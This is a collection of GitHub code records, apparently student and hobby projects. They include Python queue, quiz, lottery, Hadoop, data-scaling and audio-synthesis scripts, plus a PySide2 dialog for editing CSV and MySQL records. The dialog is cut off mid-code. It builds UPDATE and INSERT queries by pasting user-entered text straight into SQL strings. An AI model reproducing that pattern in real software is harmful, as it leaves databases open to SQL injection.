+{"seq_id":"4382853172","text":"import time\nimport multiprocessing as mp\nimport queue\n\n# 读队列\ndef read_queue(q):\n while True:\n try:\n rd = q.get(timeout=2)\n print(rd)\n except queue.Empty as e:\n print(\"all done:%s\" % e)\n break\n\n\ndef write_queue(q):\n for i in range(5):\n q.put(time.ctime())\n time.sleep(1)\n\nif __name__ == '__main__':\n # 创建队列\n queue = mp.Queue()\n\n # 创建两个用于读写队列的进程\n p1 = mp.Process(target=write_queue, args=(queue,))\n p2 = mp.Process(target=read_queue, args=(queue,))\n\n p1.start()\n p2.start()\n\n p1.join()\n p2.join()\n","repo_name":"zhangzongyan/python0702","sub_path":"part2_高级编程/day01/code_01/04-进程间通信_消息队列.py","file_name":"04-进程间通信_消息队列.py","file_ext":"py","file_size_in_byte":640,"program_lang":"python","lang":"en","doc_type":"code","stars":7,"dataset":"github-code","pt":"52"} +{"seq_id":"7914866206","text":"# -*- coding: utf-8 -*-\n\"\"\"Installer for the oli.areadme package.\"\"\"\n\nfrom setuptools import find_packages\nfrom setuptools import setup\n\n\nlong_description = (\n open('README.rst').read()\n + '\\n' +\n 'Contributors\\n'\n '============\\n'\n + '\\n' +\n open('CONTRIBUTORS.rst').read()\n + '\\n' +\n open('CHANGES.rst').read()\n + '\\n')\n\n\nsetup(\n name='oli.areadme',\n version='0.1',\n description=\"A simple README add-on\",\n long_description=long_description,\n # Get more from http://pypi.python.org/pypi?%3Aaction=list_classifiers\n classifiers=[\n \"Environment :: Web Environment\",\n \"Framework :: Plone\",\n \"Framework :: Plone :: 5.0\",\n \"Programming Language :: Python\",\n \"Programming Language :: Python :: 2.7\",\n \"Operating System :: OS Independent\",\n \"License :: OSI Approved :: GNU General Public License v2 (GPLv2)\",\n ],\n keywords='Python Plone',\n author='Olimpiu Rob',\n author_email='olimpiu.rob@gmail.com',\n url='http://pypi.python.org/pypi/oli.areadme',\n license='GPL version 2',\n packages=find_packages('src', exclude=['ez_setup']),\n namespace_packages=['oli'],\n package_dir={'': 'src'},\n include_package_data=True,\n zip_safe=False,\n install_requires=[\n 'plone.api',\n 'setuptools',\n 'z3c.jbot',\n 'plone.app.dexterity'\n ],\n extras_require={\n 'test': [\n 'plone.app.testing',\n 'plone.app.contenttypes',\n 'plone.app.robotframework[debug]',\n ],\n },\n entry_points=\"\"\"\n [z3c.autoinclude.plugin]\n target = plone\n \"\"\",\n)\n","repo_name":"olimpiurob/oli.areadme","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":1628,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"52"} +{"seq_id":"17554293085","text":"import random , operator\n\ndef random_operator() :\n operators = {\n \"+\" : operator.add,\n \"-\" : operator.sub,\n \"*\" : operator.mul,\n \"//\" : operator.truediv\n }\n\n first_number = random.randint(1,100)\n second_number = random.randint(1,100)\n operator_chosen = random.choice(list(operators.keys()))\n\n result = operators.get(operator_chosen)(first_number,second_number)\n print(f\"{first_number} {operator_chosen} {second_number}\")\n return result\n\ndef ask_question () :\n result = random_operator()\n answer = float(input(\"please enter your answer : \"))\n return result == answer\n\nscore = 0\nwhile True:\n if ask_question():\n score += 1\n print('True')\n else:\n print('false')\n break\nprint(\"Game Over!!!\")\nprint(f\"your score : {score}\")","repo_name":"MsA081/simple_project","sub_path":"mathGame/mathGame.py","file_name":"mathGame.py","file_ext":"py","file_size_in_byte":813,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"52"} +{"seq_id":"13083028888","text":"max = int(input())\n\nhappy_num = []\n\nfor i in range(1, max+1):\n temp_list = []\n temp = i\n\n while(True):\n if temp == 1: # 계속 계산하다 1이될 경우\n happy_num.append(i)\n break\n\n if temp in temp_list: # 예전에 계산한 수를 발견한 경우\n break;\n\n temp_list.append(temp)\n\n if temp >= 1000: # 4자리 이상의 수\n a = int(temp / 1000)\n b = int((temp % 1000) / 100)\n c = int((temp % 100) / 10)\n d = int(temp % 10)\n temp = a ** 2 + b ** 2 + c ** 2 + d ** 2\n\n elif temp >= 100: # 3자리수\n a = int((temp % 1000) / 100)\n b = int((temp % 100) / 10)\n c = int(temp % 10)\n temp = a ** 2 + b ** 2 + c ** 2\n\n elif temp >= 10: # 2자리수\n a = int((temp % 100) / 10)\n b = int(temp % 10)\n temp = a ** 2 + b ** 2\n\n else:\n temp = temp ** 2\n\nprint(\"1 ~ \" + str(max) + \"범위의 행복 수는 \" + str(len(happy_num)) + \"개이고 총합은 \" + str(sum(happy_num)) + \"입니다.\")","repo_name":"SangCheonP/CodingTest","sub_path":"사이냅 퀴즈/퀴즈 1.py","file_name":"퀴즈 1.py","file_ext":"py","file_size_in_byte":1117,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"34063148484","text":"print(\"--당첨자 발표--\")\r\nfrom random import *\r\nlst = [1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20]\r\nshuffle(lst) \r\nlst_1 = sample(lst, 4)\r\nprint(\"치킨 당첨자 : \", lst_1[0])\r\nprint(\"커피 당첨자 : \", lst_1[1:])\r\nprint(\"--축하합니다---\")\r\n\r\n#from random import *\r\n#users = range(1, 21)\r\n#users = list(users)\r\n#shuffle(users)\r\n#winners = sample(users, 4)\r\n#print(\" -- 당첨자 발표 -- \")\r\n#print(\"치킨 당첨자 : {0}\".format(winners[0]))\r\n#print(\"커피 당첨자 : {0}\".format(winners[1:]))\r\n#print(\" -- 축하합니다 -- \")\r\n\r\nfrom random import *\r\ncustomers = range(1, 51)\r\ncustomers = list(customers)\r\ntime_customers = range(1, 51)\r\ntime_customers = list(time_customers)\r\ni = 0\r\nnum = 0\r\nfor customers[i] in range(1, 51):\r\n time_customers[i] = randint(5, 50)\r\n if 5 <= time_customers[i] <= 15:\r\n print(\"[o] {0}번째 손님 (소요시간 : {1}분)\".format(i + 1, time_customers[i]))\r\n num += 1\r\n else:\r\n print(\"[ ] {0}번째 손님 (소요시간 : {1}분)\".format(i + 1, time_customers[i]))\r\n i += 1\r\nprint(\"\")\r\nprint(\"총 탑승 승객 : {0}분\".format(num))\r\n\r\n#from random import *\r\n#cnt = 0\r\n#for i in range(1, 51):\r\n# time = randrange(5, 51)\r\n# if 5 <= time <= 15:\r\n# print(\"[0] {0}번째 손님 (소요시간 : {1}분)\".format(i, time))\r\n# cnt += 1\r\n# else:\r\n# print(\"[ ] {0}번째 손님 (소요시간 : {1}분)\".format(i, time))\r\n#print(\"총 탑승 승객 : {0} 분\".format(cnt)) \r\n\r\n\r\n\r\n\r\n\r\n","repo_name":"SuYoung888/PythonNewbie","sub_path":"3주차 과제.py","file_name":"3주차 과제.py","file_ext":"py","file_size_in_byte":1517,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"27811886987","text":"\nfrom hadooplib.mapper import MapperBase\n\nclass WordCountMapper(MapperBase):\n \"\"\"\n count the occurences of each word\n \"\"\"\n\n def map(self, key, value):\n \"\"\"\n for each word in input, output a (word, 1) pair\n\n @param key: None, no use\n @param value: line from input\n \"\"\"\n words = value.split()\n for word in words:\n self.outputcollector.collect(word, 1)\n\nif __name__ == \"__main__\":\n WordCountMapper().call_map()\n","repo_name":"nltk/nltk_contrib","sub_path":"nltk_contrib/hadoop/word_count/wordcount_mapper.py","file_name":"wordcount_mapper.py","file_ext":"py","file_size_in_byte":483,"program_lang":"python","lang":"en","doc_type":"code","stars":164,"dataset":"github-code","pt":"52"} +{"seq_id":"71241466085","text":"import pandas as pd\r\nimport numpy as np\r\n\r\n#! Reindex Dataset Before Normalizing\r\ndef df_reindex(df):\r\n assert isinstance(df, pd.DataFrame), \"df needs to be a pd.DataFrame\"\r\n df.dropna(inplace=True)\r\n indices_to_keep = ~df.isin([np.nan, np.inf, -np.inf]).any(1)\r\n df = df[indices_to_keep]\r\n print(\"DataSet Reindexed...\")\r\n df.info()\r\n return df\r\ndf = df_reindex(df)\r\n\r\n#! Normalize the Data\r\ndef df_normalize(df):\r\n from sklearn.preprocessing import Normalizer\r\n normalizer = Normalizer(norm='l2')\r\n df = pd.DataFrame(normalizer.fit_transform(df),columns=df.columns)\r\n print(\"DataSet Normalized...\")\r\n df.head()\r\n return df\r\ndf = df_normalize(df)\r\n\r\n#! StandardScale the Data\r\ndef df_stdscale(df):\r\n from sklearn.preprocessing import StandardScaler\r\n std_scaler = StandardScaler()\r\n df = pd.DataFrame(std_scaler.fit_transform(df),columns=df.columns)\r\n print(\"DataSet StdScaled...\")\r\n df.head()\r\n return df\r\ndf = df_stdscale(df)\r\n\r\n#! MinMaxScale the Data\r\ndef df_minmaxscale(df):\r\n from sklearn.preprocessing import MinMaxScaler\r\n minmax_scaler = MinMaxScaler()\r\n df = pd.DataFrame(minmax_scaler.fit_transform(df),columns=df.columns)\r\n print(\"DataSet MinMaxScaled...\")\r\n df.head()\r\n return df\r\ndf = df_minmaxscale(df)\r\n\r\n#! RobustScale the Data\r\ndef df_robustscale(df):\r\n from sklearn.preprocessing import RobustScaler\r\n robust_scaler = RobustScaler().fit(df)\r\n df = pd.DataFrame(robust_scaler.transform(df),columns=df.columns)\r\n print(\"DataSet RobustScaled...\")\r\n df.head()\r\n return df\r\ndf = df_robustscale(df)\r\n\r\n#! MaxAbsScale the Data\r\ndef df_maxabsscale(df):\r\n from sklearn.preprocessing import MaxAbsScaler\r\n maxabs_scaler = MaxAbsScaler().fit(df)\r\n df = pd.DataFrame(maxabs_scaler.transform(df),columns=df.columns)\r\n print(\"DataSet MaxAbsScaled...\")\r\n df.head()\r\n return df\r\ndf = df_maxabsscale(df)\r\n\r\n#! QuantileScale the Data\r\ndef df_quantile_scale(df):\r\n from sklearn.preprocessing import QuantileTransformer\r\n quantile_scaler = QuantileTransformer().fit(df)\r\n df = pd.DataFrame(quantile_scaler.transform(df),columns=df.columns)\r\n print(\"DataSet QuantileScaled...\")\r\n df.head()\r\n return df\r\ndf = df_quantile_scale(df)\r\n\r\n#! Power Transform the Data\r\ndef df_power_transformer(df):\r\n from sklearn.preprocessing import PowerTransformer\r\n power_transform_scaler = PowerTransformer().fit(df)\r\n df = pd.DataFrame(power_transform_scaler.transform(df),columns=df.columns)\r\n print(\"DataSet QuantileScaled...\")\r\n df.head()\r\n return df\r\ndf = df_power_transformer(df)\r\n\r\n\r\n","repo_name":"yctasoglu/Scaling","sub_path":"Scaling/Scaling_and_transforming.py","file_name":"Scaling_and_transforming.py","file_ext":"py","file_size_in_byte":2620,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"46563260976","text":"###############################################################################\n#\n# $Id: example3.py 718 2012-04-15 23:59:35Z weegreenblobbie $\n#\n# Simulates a drum. Based on the Csound drum by Hans Mikelson.\n#\n# source: http://www.csounds.com/ezine/winter2001/synthesis/\n#\n###############################################################################\n\nfrom nsound import *\n\nsr = 44100.0\nBITS_PER_SAMPLE = 16\n\n###############################################################################\ndef drum(\n duration,\n attack_time,\n high_frequency,\n low_frequency,\n tension,\n resident_frequency):\n \"Simple drum\"\n\n sin = Sine(sr)\n\n frequency_sweep = sin.drawLine(attack_time, high_frequency, low_frequency)\n\n frequency_sweep << sin.drawLine(\n (duration - attack_time), low_frequency, low_frequency)\n\n hz_20 = sin.generate(duration, resident_frequency)\n\n rezzy = hz_20 * frequency_sweep\n\n parabola = sin.drawParabola(duration, 1.0, duration / 2, 0.25, 0.0)\n\n rezzy *= parabola\n\n temp1 = rezzy * tension\n\n frequency_sweep -= temp1\n\n audio = sin.generate(duration, frequency_sweep)\n\n audio *= sin.drawParabola(duration,1.0, 0.5 * duration, 0.3,0.0);\n\n return audio\n\n###############################################################################\n\nsine = Sine(sr)\n\nbd01 = DrumBD01(sr)\ndkb = DrumKickBass(sr, 266, 0.0)\n\nout = AudioStream(sr, 1);\n\nout << bd01.play() \\\n << sine.silence(0.25) \\\n << dkb.play() \\\n << sine.silence(0.25)\n\n# duration, attack, high f, low f, tension, ressonance\nout << drum(0.5, 0.012, 160, 51, 0.9, 54) \\\n << drum(0.5, 0.012, 160, 51, 0.9, 54) \\\n << drum(0.5, 0.012, 160, 51, 0.9, 54) \\\n << drum(0.5, 0.012, 160, 51, 0.9, 54) \\\n << sine.silence(0.25)\n\nout *= 0.5\n\nhat = Hat(sr)\n\nout << 0.666 * hat.play() << sine.silence(0.25)\n\nout >> \"example3.wav\"\n\n# ReverberationRoom(sample_rate, room_feedback, wet_percent, dry_percent, low_pass_freq)\nroom = ReverberationRoom(sr, 0.60, 0.5, 1.0, 100.0)\n\nout2 = 0.5 * room.filter(out)\n\nout2 >> \"example3_reverb.wav\"\n\npb = AudioPlayback(sr, 2, 16);\n\nout2 >> pb\n","repo_name":"DevDungeon/Cookbook","sub_path":"python/nsound_examples/drum.py","file_name":"drum.py","file_ext":"py","file_size_in_byte":2215,"program_lang":"python","lang":"en","doc_type":"code","stars":301,"dataset":"github-code","pt":"52"} +{"seq_id":"25035704861","text":"from configparser import Error\nfrom klase.metode import dodaj_u_serijsku, sastavi_sekvencijalnu\nfrom .genericka_klasa import GenerickaKlasa\nfrom PySide2.QtCore import QModelIndex\nfrom PySide2 import QtWidgets, QtGui, QtCore\nfrom pydoc import locate\nimport csv\nimport mysql\nimport os\n\nclass PrikazElementa(QtWidgets.QDialog): # izmena, dodaj, pretrazi\n def __init__(self, parent, pretraga=False, element=None):\n super(PrikazElementa,self).__init__(parent)\n meta_podaci = parent.meta_podaci #kada kliknemo saljemo meta podatke u prikaz\n self.lista_atributa = meta_podaci[5].split(\",\")\n self.lista_naziva_atributa = meta_podaci[5].split(\",\")\n self.lista_tipovi_atributa = meta_podaci[6].split(\",\")\n self.lista_duzine_atributa = meta_podaci[7].split(\",\")\n self.lista_obaveznosti_atributa = meta_podaci[8].split(\",\")\n self.lista_kljuceva = meta_podaci[11].split(\",\")\n self.tip_datoteke = meta_podaci[1]\n self.relativna_putanja = meta_podaci[2]\n self.sufiks = meta_podaci[3]\n self.putanja_podaci = meta_podaci[4]\n self.lista = []\n self.primarni_kljucevi=[]\n if self.tip_datoteke == \"sekvencijalna\":\n self.roditelji = meta_podaci[12].split(\",\")\n self.broj_kljuceva = meta_podaci[13].split(\",\")\n self.pozicije_u_formi = meta_podaci[14].split(\",\")\n self.pozicije_u_datoteci = meta_podaci[15].split(\",\")\n \n \n \n self.putanja_kljucevi =\"podaci/podaci/sekvencijalne/\"\n self.pretraga = pretraga\n self.privremena_datoteka = \"podaci/podaci/privremena_ser.csv\"\n icon = QtGui.QIcon(\"src/ikonice/logo.jpg\")\n self.setWindowIcon(icon)\n self.layout = QtWidgets.QGridLayout()\n \n \n \n \n self.setWindowFlags(self.windowFlags()\n ^ QtCore.Qt.WindowContextHelpButtonHint)\n self.tip = 0 # tip == 0 -dodavanje / tip == 1 -izmena / tip == 2 -pretraga\n \n if element != None:\n self.dugme = QtWidgets.QPushButton(\"Izmena\")\n self.setWindowTitle(\"Izmena\")\n self.tip = 1\n elif element == None and not pretraga:\n self.dugme = QtWidgets.QPushButton(\"Dodavanje\")\n self.setWindowTitle(\"Dodavanje\")\n self.tip = 0\n else:\n self.dugme = QtWidgets.QPushButton(\"Pretraga\")\n self.setWindowTitle(\"Pretraga\")\n self.tip = 2\n \n self.zatvori = QtWidgets.QPushButton(\"Zatvaranje\")\n self.lista_atr = [] # ovu listu koristim za pretragu, dodaju se samo\n # atributi cija input polja nisu prazna, i onda znam po kojim atributima\n # da vrsim pretragu\n self.lista_kriterijuma = [] # lista kriterijuma, isto kao lista gore sto\n # cuva nazive atributa, ova lista cuva vrednosti tih atributa\n self.lista_vece_manje = []\n m=0\n self.blocked = False\n for i in range(len(self.lista_atributa)):\n naziv = self.lista_atributa[i][0].upper()\n\n for s in range(1, len(self.lista_atributa[i])):\n if self.lista_atributa[i][s] == \"_\":\n naziv += \" \"\n else:\n naziv += self.lista_atributa[i][s]\n \n ime = QtWidgets.QLabel(naziv + \" :\")\n self.layout.addWidget(ime,m,0)\n self.__setattr__(self.lista_atributa[i], QtWidgets.QLineEdit())\n\n if self.tip == 2:\n self.__setattr__(self.lista_atributa[i]+\"_vece_manje\", QtWidgets.QComboBox())\n self.__getattribute__(self.lista_atributa[i]+\"_vece_manje\").addItem(\"jednako\")\n if self.lista_tipovi_atributa[i] != \"str\":\n self.__getattribute__(self.lista_atributa[i]+\"_vece_manje\").addItem(\"manje od\")\n self.__getattribute__(self.lista_atributa[i]+\"_vece_manje\").addItem(\"manje ili jednako od\")\n self.__getattribute__(self.lista_atributa[i]+\"_vece_manje\").addItem(\"vece od\")\n self.__getattribute__(self.lista_atributa[i]+\"_vece_manje\").addItem(\"vece ili jednako od\")\n\n self.__getattribute__(self.lista_atributa[i]+\"_vece_manje\").setCurrentIndex(0)\n self.__getattribute__(self.lista_atributa[i]+\"_vece_manje\").setEditable(False)\n\n if element == None and not pretraga:\n self.__getattribute__(self.lista_atributa[i]).setPlaceholderText(\"Do \" + self.lista_duzine_atributa[i] + \" karaktera\")\n self.__getattribute__(self.lista_atributa[i]).setMaxLength(int(self.lista_duzine_atributa[i]))\n if \"datum\" in self.lista_naziva_atributa[i].lower():\n self.__getattribute__(self.lista_atributa[i]).setPlaceholderText(\"YYYY-MM-DD\")\n \n elif element != None:\n self.element = element\n \n self.__getattribute__(self.lista_atributa[i]).setText(element.__getattribute__(self.lista_atributa[i]))\n self.__getattribute__(self.lista_atributa[i]).setMaxLength(int(self.lista_duzine_atributa[i]))\n \n \n veze = self.parent().meta_podaci[9].split(\",\")\n for j in range(len(veze)):\n if hasattr(self.parent(), \"sub_table\"+str(j+1)):\n if len(self.parent().__getattribute__(\"sub_table\"+str(j+1)).model.lista_prikaz) != 0:\n for k in range(len(self.lista_kljuceva)):\n if k <= i:\n if self.__getattribute__(self.lista_kljuceva[k]).isEnabled():\n self.__getattribute__(self.lista_kljuceva[k]).setDisabled(True)\n self.blocked = True\n \n self.__getattribute__(self.lista_atributa[i]).setFixedHeight(27)\n self.layout.addWidget(self.__getattribute__(self.lista_atributa[i]),m,1)\n \n if self.tip == 2:\n self.layout.addWidget(self.__getattribute__(self.lista_atributa[i]+\"_vece_manje\"),m,2)\n m+=1\n self.layout.addWidget(self.dugme,m+1,0,1,3)\n self.layout.addWidget(self.zatvori,m+2,0,3,3)\n self.setLayout(self.layout)\n self.dugme.clicked.connect(self.dugme_kliknuto)\n self.zatvori.clicked.connect(self.zatvori_prikaz)\n \n if self.tip == 1:\n self.original_elem = GenerickaKlasa([],[])\n self.element = element\n for i in range(len(self.lista_atributa)):\n self.original_elem.__setattr__(self.lista_atributa[i], self.element.__getattribute__(self.lista_atributa[i]))\n else:\n self.element = GenerickaKlasa([],[])\n \n self.setMinimumWidth(500)\n self.show()\n \n \n def ucitaj_kljuceve(self,putanja, pozicija_kljuca):\n kljucevi = open(putanja,\"r\",encoding=\"utf-8\")\n next(csv.reader(kljucevi,delimiter=\",\"))\n self.primarni_kljucevi=[i.split(',')[pozicija_kljuca] for i in kljucevi.readlines()]\n return self.primarni_kljucevi\n \n def poredjenje(self, lista, vrijednost):\n brojac = 0\n for i in range(len(lista)):\n \n if lista[i] == vrijednost:\n brojac +=1\n\n if brojac > 0:\n return True\n else:\n return False \n\n def sacuvaj_podatke(self):\n if os.path.exists(self.privremena_datoteka):\n if self.tip_datoteke == \"sekvencijalna\":\n top = QModelIndex()\n top.child(0,0)\n self.parent().table.model().beginRemoveRows(top, 0, 0)\n if sastavi_sekvencijalnu(self):\n if os.path.exists(self.privremena_datoteka):\n os.remove(self.privremena_datoteka)\n else:\n poruka = QtWidgets.QMessageBox()\n icon = QtGui.QIcon(\"src/ikonice/logo.jpg\")\n poruka.setWindowIcon(icon)\n poruka.setWindowTitle(\"Upozorenje!\")\n poruka.setText(\"Privremena datoteka ne postoji!\")\n poruka.exec_()\n \n self.parent().table.model().endRemoveRows()\n \n self.parent().table.model().beginInsertRows(QModelIndex(), 0, 0)\n top = QModelIndex()\n top.child(0,0)\n bottom = QModelIndex()\n bottom.child(len(self.parent().table.model().lista_prikaz), self.parent().table.model().broj_kolona)\n self.parent().table.dataChanged(top, bottom) \n self.parent().table.model().endInsertRows()\n\n def zatvori_prikaz(self):\n self.close()\n\n def closeEvent(self, event):\n self.sacuvaj_podatke()\n event.accept()\n \n\n def dugme_kliknuto(self):\n try:\n for i in range(len(self.lista_atributa)):\n vrijednost = self.__getattribute__(self.lista_atributa[i]).text()\n \n if self.tip_datoteke == \"sekvencijalna\":\n brojac =0\n if self.broj_kljuceva != ['']:\n for o in range(len(self.broj_kljuceva)):\n if self.broj_kljuceva != ['']:\n \n for k in range(int(self.broj_kljuceva[o])):\n self.ucitaj_kljuceve(self.putanja_kljucevi + self.roditelji[o],int(self.pozicije_u_datoteci[brojac]))\n vrijed = self.__getattribute__(self.lista_atributa[int(self.pozicije_u_formi[brojac])]).text()\n brojac +=1\n \n if self.poredjenje(self.primarni_kljucevi,vrijed) == False: \n poruka = QtWidgets.QMessageBox()\n icon = QtGui.QIcon(\"src/ikonice/logo.jpg\")\n poruka.setWindowIcon(icon)\n poruka.setWindowTitle(\"Upozorenje!\")\n poruka.setText(\" Jedno polje sadrzi kljuc koji ne postoji u roditeljskoj klasi! Pokusajte ponovo!\")\n poruka.exec_()\n return\n else:\n continue\n \n \n \n\n if self.tip == 2:\n if len(vrijednost.strip()) == 0:\n continue\n\n if len(vrijednost) <= int(self.lista_duzine_atributa[i]):\n if bool(self.lista_obaveznosti_atributa[i]) == True and self.tip != 2:\n if vrijednost == \"\":\n poruka = QtWidgets.QMessageBox()\n icon = QtGui.QIcon(\"src/ikonice/logo.jpg\")\n poruka.setWindowIcon(icon)\n poruka.setWindowTitle(\"Upozorenje!\")\n poruka.setText(str(self.lista_atributa[i]).capitalize()+\" polje ne sme biti prazno! Pokusajte ponovo!\")\n poruka.exec_()\n return\n \n try:\n if isinstance(locate(self.lista_tipovi_atributa[i])(vrijednost), locate(self.lista_tipovi_atributa[i])) == False:\n poruka = QtWidgets.QMessageBox()\n icon = QtGui.QIcon(\"src/ikonice/logo.jpg\")\n poruka.setWindowIcon(icon)\n poruka.setWindowTitle(\"Upozorenje!\")\n poruka.setText(str(self.lista_atributa[i]).capitalize()+\" polje pogresna vrednost! Pokusajte ponovo!\")\n poruka.exec_()\n return\n except ValueError:\n poruka = QtWidgets.QMessageBox()\n icon = QtGui.QIcon(\"src/ikonice/logo.jpg\")\n poruka.setWindowIcon(icon)\n poruka.setWindowTitle(\"Upozorenje!\")\n poruka.setText(str(self.lista_atributa[i]).capitalize()+\" polje pogresna vrednost! Pokusajte ponovo!\")\n poruka.exec_()\n return\n\n self.element.__setattr__(self.lista_atributa[i], vrijednost)\n self.lista_atr.append(self.lista_atributa[i])\n self.lista_kriterijuma.append(vrijednost)\n if self.tip == 2:\n self.lista_vece_manje.append(self.__getattribute__(self.lista_atributa[i]+\"_vece_manje\").currentIndex())\n else:\n poruka = QtWidgets.QMessageBox()\n icon = QtGui.QIcon(\"src/ikonice/logo.jpg\")\n poruka.setWindowIcon(icon)\n poruka.setWindowTitle(\"Upozorenje!\")\n poruka.setText(str(self.lista_atributa[i]).capitalize() + \". Prekoracili ste duzinu karaktera!\")\n poruka.exec_()\n return\n \n if self.tip == 1:\n if not self.parent().is_baza:\n with open(self.putanja_podaci, 'r',newline='') as csvfile:\n spamreader = csv.reader(csvfile, delimiter = \"\\n\")\n counter = 0\n prva_linija = True\n lista = []\n for row in spamreader:\n if prva_linija:\n prva_linija = False\n continue\n if row[0] == \"\":\n break\n \n objekat = GenerickaKlasa(self.lista_atributa, row[0].split(\",\"))\n nadjen = True\n \n self.parent().table.model().lista_prikaz = []\n for i in range(len(self.lista_atributa)):\n if objekat.__getattribute__(self.lista_atributa[i]) != self.original_elem.__getattribute__(self.lista_atributa[i]):\n nadjen = False\n if not nadjen:\n lista.append(objekat)\n else:\n for i in range(len(self.lista_atributa)):\n objekat.__setattr__(self.lista_atributa[i], self.element.__getattribute__(self.lista_atributa[i]))\n\n lista.append(objekat)\n \n counter += 1\n \n self.parent().table.model().lista_prikaz = lista\n\n with open(self.putanja_podaci, 'w', newline='') as f:\n writer = csv.writer(f, delimiter = \",\")\n writer.writerow([self.parent().putanja_meta])\n for i in range(len(self.parent().table.model().lista_prikaz)):\n tekst = \"\"\n for j in range(len(self.lista_atributa)):\n tekst += str(self.parent().table.model().lista_prikaz[i].__getattribute__(self.lista_atributa[j]))\n if j < len(self.lista_atributa)-1:\n tekst += \",\"\n \n novi_red = tekst.split(\",\")\n writer.writerow(novi_red)\n else:\n parent = self.parent().pocetna_strana\n \n query = \"UPDATE \" + self.parent().naziv + \" SET \"\n block = False\n for i in range(len(self.lista_atributa)):\n block = False\n if self.blocked:\n for j in self.lista_kljuceva:\n if self.lista_atributa[i] == j:\n block = True\n break\n if block:\n continue\n query += self.lista_atributa[i] + \"=\"\n if self.lista_tipovi_atributa[i] == \"str\":\n query += \"'\"\n query += self.element.__getattribute__(self.lista_atributa[i])\n if self.lista_tipovi_atributa[i] == \"str\":\n query += \"'\"\n\n if i < len(self.lista_atributa) - 1:\n query += \" , \"\n \n if len(self.lista_atributa) == len(self.lista_kljuceva) and self.blocked:\n return\n \n query += \" WHERE \"\n for i in range(len(self.lista_kljuceva)):\n query += self.lista_kljuceva[i] + \"=\"\n if self.lista_tipovi_atributa[i] == \"str\":\n query += \"'\"\n\n query += self.original_elem.__getattribute__(self.lista_kljuceva[i])\n if self.lista_tipovi_atributa[i] == \"str\":\n query += \"'\"\n\n if i < len(self.lista_kljuceva) - 1:\n query += \" AND \"\n try:\n parent.csor.execute(query)\n except mysql.connector.errors.IntegrityError as e:\n poruka = QtWidgets.QMessageBox()\n icon = QtGui.QIcon(\"src/ikonice/logo.jpg\")\n poruka.setWindowIcon(icon)\n poruka.setWindowTitle(\"Upozorenje!\")\n poruka.setText(\"Vec postoji element sa zadatim kljucem!\\n\"+e.msg)\n poruka.exec_()\n\n parent.connection.commit()\n\n query = \"SELECT * FROM \" + self.parent().naziv\n parent.csor.execute(query)\n \n self.parent().table.model().lista_prikaz = []\n for result in parent.csor.fetchall():\n lista_podataka = []\n for i in result:\n lista_podataka.append(str(i))\n \n self.parent().table.model().lista_prikaz.append(GenerickaKlasa(self.lista_atributa, lista_podataka))\n\n top = QModelIndex()\n top.child(0,0)\n bottom = QModelIndex()\n bottom.child(len(self.parent().table.model().lista_prikaz), self.parent().table.model().broj_kolona)\n self.parent().table.dataChanged(top, bottom) \n\n elif self.tip == 0:\n if self.tip_datoteke == \"sql\":\n parent = self.parent().pocetna_strana\n \n query = \"INSERT INTO \" + self.parent().naziv +\" (\" \n brojac =0\n for i in range(len(self.lista_atributa)):\n query += self.lista_atributa[i]\n if brojac < len(self.lista_atributa)-1:\n query += \", \"\n brojac += 1\n query += \") \" + \"VALUES (\"\n brojac2=0\n for i in range(len(self.lista_atributa)):\n if self.lista_tipovi_atributa[i] == \"str\":\n query += \"'\"+self.__getattribute__(self.lista_atributa[i]).text()+\"'\"\n else:\n query += self.__getattribute__(self.lista_atributa[i]).text()\n if brojac2 < len(self.lista_atributa)-1:\n query += \", \"\n brojac2 += 1\n query += \")\"\n \n provjeri = True\n try:\n parent.csor.execute(query)\n except mysql.connector.errors.IntegrityError as e:\n poruka = QtWidgets.QMessageBox()\n provjeri=False\n icon = QtGui.QIcon(\"src/ikonice/logo.jpg\")\n poruka.setWindowIcon(icon)\n poruka.setWindowTitle(\"Upozorenje!\")\n poruka.setText(\"Vec postoji element sa zadatim kljucem!\\n\"+e.msg)\n poruka.exec_()\n \n except mysql.connector.errors.DataError as e:\n poruka = QtWidgets.QMessageBox()\n provjeri=False\n icon = QtGui.QIcon(\"src/ikonice/logo.jpg\")\n poruka.setWindowIcon(icon)\n poruka.setWindowTitle(\"Upozorenje!\")\n poruka.setText(\"Uneli ste pogresnu vrednost!\\n\"+e.msg)\n poruka.exec_()\n\n\n parent.connection.commit()\n query = \"SELECT * FROM \" + self.parent().naziv\n parent.csor.execute(query)\n self.parent().table.model().lista_prikaz = []\n for result in parent.csor.fetchall():\n lista_podataka = []\n for i in result:\n lista_podataka.append(str(i))\n \n self.parent().table.model().lista_prikaz.append(GenerickaKlasa(self.lista_atributa, lista_podataka))\n \n top = QModelIndex()\n top.child(0,0)\n bottom = QModelIndex()\n bottom.child(len(self.parent().table.model().lista_prikaz), self.parent().table.model().broj_kolona)\n self.parent().table.dataChanged(top, bottom)\n if provjeri:\n self.parent().table.model().beginInsertRows(QModelIndex(), 0, 0)\n model = self.parent().table.model()\n model.lista_prikaz.append(self.element)\n self.parent().table.setModel(model)\n self.parent().table.model().endInsertRows()\n\n \n if self.tip_datoteke == \"serijska\":\n dodaj_u_serijsku(self.element, self.lista_atributa, self.putanja_podaci, self.parent().putanja)\n self.parent().table.model().beginInsertRows(QModelIndex(), 0, 0)\n model = self.parent().table.model()\n model.lista_prikaz.append(self.element)\n self.parent().table.setModel(model)\n self.parent().table.model().endInsertRows()\n\n elif self.tip_datoteke == \"sekvencijalna\":\n dodaj_u_serijsku(self.element, self.lista_atributa, self.privremena_datoteka, self.parent().putanja)\n \n top = QModelIndex()\n top.child(0,0)\n bottom = QModelIndex()\n bottom.child(len(self.parent().table.model().lista_prikaz), self.parent().table.model().broj_kolona)\n self.parent().table.dataChanged(top, bottom) \n \n elif self.tip == 2:\n self.close()\n \n except ValueError:\n poruka = QtWidgets.QMessageBox()\n icon = QtGui.QIcon(\"src/ikonice/logo.jpg\")\n poruka.setWindowIcon(icon)\n poruka.setWindowTitle(\"Upozorenje!\")\n 